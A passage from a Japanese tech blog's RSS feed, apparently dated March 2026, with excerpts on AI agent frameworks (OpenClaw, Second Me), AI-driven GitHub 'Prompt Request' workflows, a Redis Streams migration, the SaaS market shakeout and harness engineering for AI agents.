&lt;p&gt;ChatGPT に「孫子になりきって答えて」と毎回指示するのと、NotebookLM に孫子の著作や思考法をソースとしてアップロードしておくのでは、&lt;strong&gt;回答の深さが根本的に異なります&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-13-%E4%BD%93%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E7%B5%84%E7%B9%94%E3%81%99%E3%82%8B-%E4%BD%8E%E3%82%B9%E3%83%9A%E3%83%83%E3%82%AF-pc-%E3%81%A7%E5%96%B6%E6%A5%ADsns-%E9%81%8B%E7%94%A8%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-13-%E4%BD%93%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E7%B5%84%E7%B9%94%E3%81%99%E3%82%8B-%E4%BD%8E%E3%82%B9%E3%83%9A%E3%83%83%E3%82%AF-pc-%E3%81%A7%E5%96%B6%E6%A5%ADsns-%E9%81%8B%E7%94%A8%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96/</guid><description>&lt;h1 id="openclaw-で-13-体の-ai-チームを組織する--低スペック-pc-で営業sns-運用を完全自動化"&gt;OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gagarotai200/status/2027604841787494760"&gt;@gagarotai200（ガガロットAI）さんのポスト&lt;/a&gt;が話題になっています。OpenClaw を使って 13 体の AI エージェントを組織し、営業・SNS 運用・分析・アポ取りまで完全自動化しているリアルな環境を公開した内容です。16 万回以上の閲覧、880 件のブックマークを集めており、実運用例の少ない OpenClaw 界隈で注目を集めました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;『Open Claw』って実際の環境を出してる人マジで少ないのでオラの13体のAI組織で「営業」「SNS運用」「分析」「アポ取り」など完全自動で行わせてる実際のリアルな環境を3日間限定で全て公開した。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;p&gt;OpenClaw は、PSPDFKit の創業者 Peter Steinberger 氏が 2025 年 11 月に公開したオープンソースの AI エージェントフレームワークです。GitHub スター数は 20 万超に達し、2026 年現在で最も注目されている AI エージェント基盤の一つです。&lt;/p&gt;
&lt;p&gt;従来のチャットボットとの最大の違いは、&lt;strong&gt;質問に答えるだけでなく、タスクを直接実行できる&lt;/strong&gt;点にあります。ファイル操作、メール送信、スケジュール管理、コード実行など、PC 上でユーザーが行う作業を AI が代行します。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;動作環境&lt;/td&gt;
&lt;td&gt;ローカルマシン（Mac, Linux, Windows WSL2）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通信チャネル&lt;/td&gt;
&lt;td&gt;Discord, Telegram, Slack, WhatsApp, Signal, iMessage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;スキルシステム&lt;/td&gt;
&lt;td&gt;ClawHub（3,000+ のコミュニティスキル）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エージェント定義&lt;/td&gt;
&lt;td&gt;SOUL.md（自然言語でのパーソナリティ定義）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マルチエージェント&lt;/td&gt;
&lt;td&gt;Multi-Agent Routing でエージェント間を分離&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コスト&lt;/td&gt;
&lt;td&gt;オープンソース（API 従量課金のみ）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="13-体-ai-チームの構成"&gt;13 体 AI チームの構成&lt;/h2&gt;
&lt;p&gt;ガガロットさんの環境では、MacBook Pro M1 上で 13 体の AI エージェントを階層的に組織しています。&lt;/p&gt;</description></item><item><title>Prompt Request — Pull Requestの次の形：コードを書く時代から「意図を書く時代」へ</title><link>https://hdknr.github.io/blogs/posts/2026/03/prompt-request-pull-request%E3%81%AE%E6%AC%A1%E3%81%AE%E5%BD%A2%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%8B%E3%82%89%E6%84%8F%E5%9B%B3%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%B8/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/prompt-request-pull-request%E3%81%AE%E6%AC%A1%E3%81%AE%E5%BD%A2%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%8B%E3%82%89%E6%84%8F%E5%9B%B3%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%B8/</guid><description>&lt;h1 id="prompt-request--pull-request-の次の形コードを書く時代から意図を書く時代へ"&gt;Prompt Request — Pull Request の次の形：コードを書く時代から「意図を書く時代」へ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/the_agi_way/status/2026159378525733239"&gt;@The_AGI_WAY（ハヤシシュンスケ）氏のポスト&lt;/a&gt;が話題です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;コードを書く時代から、意図を書く時代へ。GitHub Issue にこう書く。「[auto] ユーザー認証のエラーハンドリングを追加しろ」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は &lt;a href="https://x.com/Shuns_AI/status/2026157528787325127"&gt;@Shuns_AI 氏が X で公開した長文記事「Prompt Request — Pull Request の次の形」&lt;/a&gt;です。AI エージェントが GitHub Issue を読み取り、ブランチ作成から実装・テスト・PR 作成・マージまでを自律的に完了するワークフローを提案しています。92 タスクで 95% の成功率を達成したという実績とともに、「良い Issue を書く能力」こそが開発者の最重要スキルになるという主張が注目を集めました。&lt;/p&gt;
&lt;h2 id="prompt-requestとは何か"&gt;「Prompt Request」とは何か&lt;/h2&gt;
&lt;p&gt;「Prompt Request」は、従来の Pull Request（PR）に代わる新しい開発パラダイムを表す概念です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;Pull Request&lt;/th&gt;
&lt;th&gt;Prompt Request&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発者の作業&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コードを書いて PR を作成する&lt;/td&gt;
&lt;td&gt;GitHub Issue に意図を書く&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実装の担い手&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間の開発者&lt;/td&gt;
&lt;td&gt;AI エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;レビュー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間がコードレビュー&lt;/td&gt;
&lt;td&gt;AI がピアレビュー + 人間が最終確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;マージ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間が判断してマージ&lt;/td&gt;
&lt;td&gt;条件を満たせば自動マージ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;所要時間&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;数時間〜数日&lt;/td&gt;
&lt;td&gt;5〜15 分&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PR がコードの差分を中心とした「成果物の提出」であるのに対し、Prompt Request は「意図の伝達」が起点になります。開発者が書くのはコードではなく、何をしたいかという自然言語の指示です。&lt;/p&gt;
&lt;h2 id="ワークフローの全体像"&gt;ワークフローの全体像&lt;/h2&gt;
&lt;p&gt;記事で提案されているワークフローは次のとおりです。&lt;/p&gt;</description></item><item><title>Redis Pub/Sub から Streams への移行で帯域 99% 削減 --- 同時接続 30 万超チャットの実践記録</title><link>https://hdknr.github.io/blogs/posts/2026/03/redis-pub/sub-%E3%81%8B%E3%82%89-streams-%E3%81%B8%E3%81%AE%E7%A7%BB%E8%A1%8C%E3%81%A7%E5%B8%AF%E5%9F%9F-99-%E5%89%8A%E6%B8%9B---%E5%90%8C%E6%99%82%E6%8E%A5%E7%B6%9A-30-%E4%B8%87%E8%B6%85%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%81%AE%E5%AE%9F%E8%B7%B5%E8%A8%98%E9%8C%B2/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/redis-pub/sub-%E3%81%8B%E3%82%89-streams-%E3%81%B8%E3%81%AE%E7%A7%BB%E8%A1%8C%E3%81%A7%E5%B8%AF%E5%9F%9F-99-%E5%89%8A%E6%B8%9B---%E5%90%8C%E6%99%82%E6%8E%A5%E7%B6%9A-30-%E4%B8%87%E8%B6%85%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%81%AE%E5%AE%9F%E8%B7%B5%E8%A8%98%E9%8C%B2/</guid><description>&lt;h1 id="redis-pubsub-から-streams-への移行で帯域-99-削減--同時接続-30-万超チャットの実践記録"&gt;Redis Pub/Sub から Streams への移行で帯域 99% 削減 &amp;mdash; 同時接続 30 万超チャットの実践記録&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/Keisuke69/status/2027704204853411996"&gt;Keisuke Nishitani 氏(@Keisuke69)のポスト&lt;/a&gt;で、LY Corp（旧 LINE）の技術ブログ記事が紹介されていました。同時接続数 30 万超の LINE 公式アカウント（OA）チャットが、メッセージ配信基盤を Redis Cluster の Pub/Sub から Redis Streams へ移行した事例です。ピーク時 1.5 Gbps だったノードあたりの帯域が 11 Mbps まで削減されたという結果は、大規模リアルタイムシステムを運用するエンジニアにとって示唆に富む内容です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;同時接続数30万超のチャットサービスのメッセージ配信基盤をRedis Pub/SubからRedis Streamsにした話
&amp;mdash; &lt;a href="https://x.com/Keisuke69/status/2027704204853411996"&gt;@Keisuke69&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="背景--redis-cluster-pubsub-のスケール限界"&gt;背景 &amp;mdash; Redis Cluster Pub/Sub のスケール限界&lt;/h2&gt;
&lt;p&gt;LINE 公式アカウントのチャット機能（OA チャット）は、ユーザーから送られたメッセージを OA オーナーにリアルタイムで配信する仕組みを持っています。この配信基盤として Redis Cluster の Pub/Sub を使用していました。&lt;/p&gt;
&lt;p&gt;問題は Redis Cluster における Pub/Sub の仕様にあります。あるシャードに publish されたメッセージは、クラスター内の&lt;strong&gt;全シャードにブロードキャスト&lt;/strong&gt;されます。24 シャード構成であれば、1 メッセージが残り 23 シャードに伝搬するため、アウトバウンドトラフィックはインバウンドの 23 倍になります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;クラスター構成&lt;/td&gt;
&lt;td&gt;24 シャード / 48 ノード&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ノードあたり帯域（平常時）&lt;/td&gt;
&lt;td&gt;500 Mbps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ノードあたり帯域（ピーク時）&lt;/td&gt;
&lt;td&gt;1.5 Gbps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;シャードを増やせばクラスター性能は上がりますが、同時にブロードキャストのトラフィックも増えるというジレンマがあり、スケールアウトが頭打ちになっていました。&lt;/p&gt;</description></item><item><title>SaaS の終焉（SaaSpocalypse）--- 自律エージェントが Seat 課金を破壊し、ソフトウェア業界を再編する</title><link>https://hdknr.github.io/blogs/posts/2026/03/saas-%E3%81%AE%E7%B5%82%E7%84%89saaspocalypse---%E8%87%AA%E5%BE%8B%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-seat-%E8%AA%B2%E9%87%91%E3%82%92%E7%A0%B4%E5%A3%8A%E3%81%97%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%82%92%E5%86%8D%E7%B7%A8%E3%81%99%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/saas-%E3%81%AE%E7%B5%82%E7%84%89saaspocalypse---%E8%87%AA%E5%BE%8B%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-seat-%E8%AA%B2%E9%87%91%E3%82%92%E7%A0%B4%E5%A3%8A%E3%81%97%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%82%92%E5%86%8D%E7%B7%A8%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="saas-の終焉saaspocalypse-自律エージェントが-seat-課金を破壊しソフトウェア業界を再編する"&gt;SaaS の終焉（SaaSpocalypse）&amp;mdash; 自律エージェントが Seat 課金を破壊し、ソフトウェア業界を再編する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/shoji_hq/status/2028422769239789852"&gt;@shoji_hq 氏が X で共有&lt;/a&gt;した、Insight Partners 共同創業者による「SaaS の終焉（Apocalypse）」Podcast の備忘メモが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIの津波はまだこれから。本丸は「Autonomous Agents（自律エージェント）」であり、これが今からやってくる。これが浜にぶつかった瞬間、大きな津波になる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この警告は予言ではなく、すでに現実になりつつあります。2026 年 2 月、ソフトウェアセクターは「SaaSpocalypse」と呼ばれる大暴落を経験し、1 兆ドル超の時価総額が消失しました。本記事では、何が起きているのかを構造的に整理します。&lt;/p&gt;
&lt;h2 id="insight-partners-が語った-5-つの構造変化"&gt;Insight Partners が語った 5 つの構造変化&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/shoji_hq/status/2028422769239789852"&gt;@shoji_hq 氏のメモ&lt;/a&gt;は、Podcast の要点を 5 つに整理しています。それぞれを掘り下げます。&lt;/p&gt;
&lt;h3 id="1-自律エージェントが本丸"&gt;1. 自律エージェントが本丸&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;自律的にタスクを分解し、ツールを選び、実行し、報告する存在。これが世の中の構造を変える。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Insight Partners 自身も「million-Agent problems」という表現を使っています。協調する複数のエージェントが、一晩かけて自律的に作業を完了し、翌朝には成果物が揃っている世界です。Deloitte の予測では、自律型 AI エージェント市場は 2026 年に 85 億ドル、2030 年に 350 億ドルに達するとされています。&lt;/p&gt;
&lt;p&gt;重要なのは、これが単なるチャットボットの延長ではない点です。CUA（Computer-Using Agent）は複雑なソフトウェアインターフェースを人間より上手に操作できるレベルに達しており、「デジタル従業員」として機能し始めています。&lt;/p&gt;
&lt;h3 id="2-api-の応答速度が-ui-より重要になる"&gt;2. API の応答速度が UI より重要になる&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;人間は400msで遅延を感じる。エージェントは80msを最適化する。美しいUIより、APIの応答速度が大切。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;エージェントが主要なユーザーになると、設計のプライオリティが逆転します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;人間向け設計&lt;/th&gt;
&lt;th&gt;エージェント向け設計&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;遅延の閾値&lt;/td&gt;
&lt;td&gt;400ms&lt;/td&gt;
&lt;td&gt;80ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重視する点&lt;/td&gt;
&lt;td&gt;UI/UX の美しさ&lt;/td&gt;
&lt;td&gt;API のレスポンス速度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インターフェース&lt;/td&gt;
&lt;td&gt;グラフィカル&lt;/td&gt;
&lt;td&gt;プログラマティック&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;同時接続&lt;/td&gt;
&lt;td&gt;数百〜数千&lt;/td&gt;
&lt;td&gt;数万〜数百万&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;稼働時間&lt;/td&gt;
&lt;td&gt;営業時間&lt;/td&gt;
&lt;td&gt;24 時間 365 日&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Insight Partners の Ryan Hinkle 氏は「ナレッジワーカーが仕事に不可欠とするシステムは AI の大きな恩恵を受ける。ただのファイリングキャビネットは脅威にさらされる」と述べています。&lt;/p&gt;</description></item><item><title>Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い</title><link>https://hdknr.github.io/blogs/posts/2026/03/second-me-ai-%E3%81%AB%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%82%92%E6%8C%81%E3%81%A4%E6%99%82%E4%BB%A3%E3%81%A8-openclaw-%E3%81%A8%E3%81%AE%E6%9C%AC%E8%B3%AA%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/second-me-ai-%E3%81%AB%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%82%92%E6%8C%81%E3%81%A4%E6%99%82%E4%BB%A3%E3%81%A8-openclaw-%E3%81%A8%E3%81%AE%E6%9C%AC%E8%B3%AA%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</guid><description>&lt;h1 id="second-me--ai-に自分の分身を持つ時代と-openclaw-との本質的な違い"&gt;Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/hdknr/8f10c70d04ed25f68a744081c16baa76"&gt;前回の記事&lt;/a&gt;で OpenClaw による 13 体 AI チーム構築を紹介しました。OpenClaw では SOUL.md というファイルでエージェントの「人格」を定義しますが、これは本当に「自分の分身」と呼べるのでしょうか。Second Me というプロジェクトは、まったく異なるアプローチで「AI による自分の分身」を実現しようとしています。&lt;/p&gt;
&lt;h2 id="soulmd-の限界--指示書は分身ではない"&gt;SOUL.md の限界 — 「指示書」は「分身」ではない&lt;/h2&gt;
&lt;p&gt;OpenClaw の SOUL.md は Markdown で書かれた設定ファイルです。エージェントの名前、性格、役割、制約を自然言語で記述します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;name: sales-agent
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;model: claude-sonnet-4-6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;あなたは営業チームの一員です。丁寧に話してください。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 役割
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; リード情報の整理と優先順位付け
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 提案メールの下書き作成
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;これは強力な仕組みですが、あくまで&lt;strong&gt;外から与える指示書&lt;/strong&gt;です。「営業エージェントをこう振る舞わせたい」という設計者の意図を反映したものであり、「この人ならどう考えるか」を再現するものではありません。&lt;/p&gt;</description></item><item><title>ハーネスエンジニアリング入門 — AIエージェントの性能はモデルではなく周辺設計で決まる</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E5%85%A5%E9%96%80-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%80%A7%E8%83%BD%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E5%91%A8%E8%BE%BA%E8%A8%AD%E8%A8%88%E3%81%A7%E6%B1%BA%E3%81%BE%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E5%85%A5%E9%96%80-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%80%A7%E8%83%BD%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E5%91%A8%E8%BE%BA%E8%A8%AD%E8%A8%88%E3%81%A7%E6%B1%BA%E3%81%BE%E3%82%8B/</guid><description>&lt;h1 id="ハーネスエンジニアリング入門--aiエージェントの性能はモデルではなく周辺設計で決まる"&gt;ハーネスエンジニアリング入門 — AIエージェントの性能はモデルではなく「周辺設計」で決まる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/Suzacque/status/2028382449391276314"&gt;朱雀氏のポスト&lt;/a&gt;が、Claude Code や Codex の仕組みを理解するうえで「ハーネス」の概念が重要だと紹介しています。2026 年に入り、AI エージェント開発の焦点は「どのモデルを使うか」から「モデルの周囲をどう設計するか」に移りました。この周辺設計を指す言葉が&lt;strong&gt;ハーネスエンジニアリング&lt;/strong&gt;です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude CodeやCodexの仕組みを詳しく理解したい人にはこれがおすすめ。「ハーネス」について詳しく解説してくれている。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="ハーネスとは何か"&gt;ハーネスとは何か&lt;/h2&gt;
&lt;p&gt;ハーネスとは、AI モデルを囲む運用インフラのことです。&lt;a href="https://www.philschmid.de/agent-harness-2026"&gt;Phil Schmid 氏の解説&lt;/a&gt;では、コンピュータに例えて次のように整理しています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;コンピュータ&lt;/th&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;モデル（推論エンジン）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAM&lt;/td&gt;
&lt;td&gt;コンテキストウィンドウ（作業メモリ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS&lt;/td&gt;
&lt;td&gt;ハーネス（コンテキスト管理、ツール処理、起動シーケンス）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アプリケーション&lt;/td&gt;
&lt;td&gt;エージェント（ユーザー固有のロジック）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;モデルが CPU なら、ハーネスは OS です。どれだけ高性能な CPU を積んでも、OS が貧弱では実用的なアプリケーションは動きません。&lt;/p&gt;
&lt;p&gt;具体的には、ハーネスは以下の要素を管理します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;会話・コンテキスト管理&lt;/strong&gt;: セッション間の記憶、コンテキストウィンドウの最適化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツール呼び出し層&lt;/strong&gt;: MCP/SDK ツールの提供と制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限管理&lt;/strong&gt;: 実行可能な操作の制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セッション・ファイルシステム状態&lt;/strong&gt;: 作業ディレクトリ、Git 状態の管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ループ制御・エラーハンドリング&lt;/strong&gt;: リトライ、ガードレール、検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;観測性&lt;/strong&gt;: ログ、メトリクス、テレメトリ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="モデルではなくハーネスが性能を決める"&gt;モデルではなくハーネスが性能を決める&lt;/h2&gt;
&lt;p&gt;2026 年に入ってから、ハーネスの重要性を示す数値データが相次いで公開されています。&lt;/p&gt;
&lt;h3 id="ハーネス変更だけで性能が-10-倍に"&gt;ハーネス変更だけで性能が 10 倍に&lt;/h3&gt;
&lt;p&gt;ベンチマーク結果によると、ツール形式を変えただけで 15 モデルすべてのスコアが改善しました。最も劇的だったのは Grok Code Fast 1 で、&lt;strong&gt;6.7% から 68.3% に跳ね上がり約 10 倍&lt;/strong&gt;でした。モデルの重みには一切手を加えていません。&lt;/p&gt;
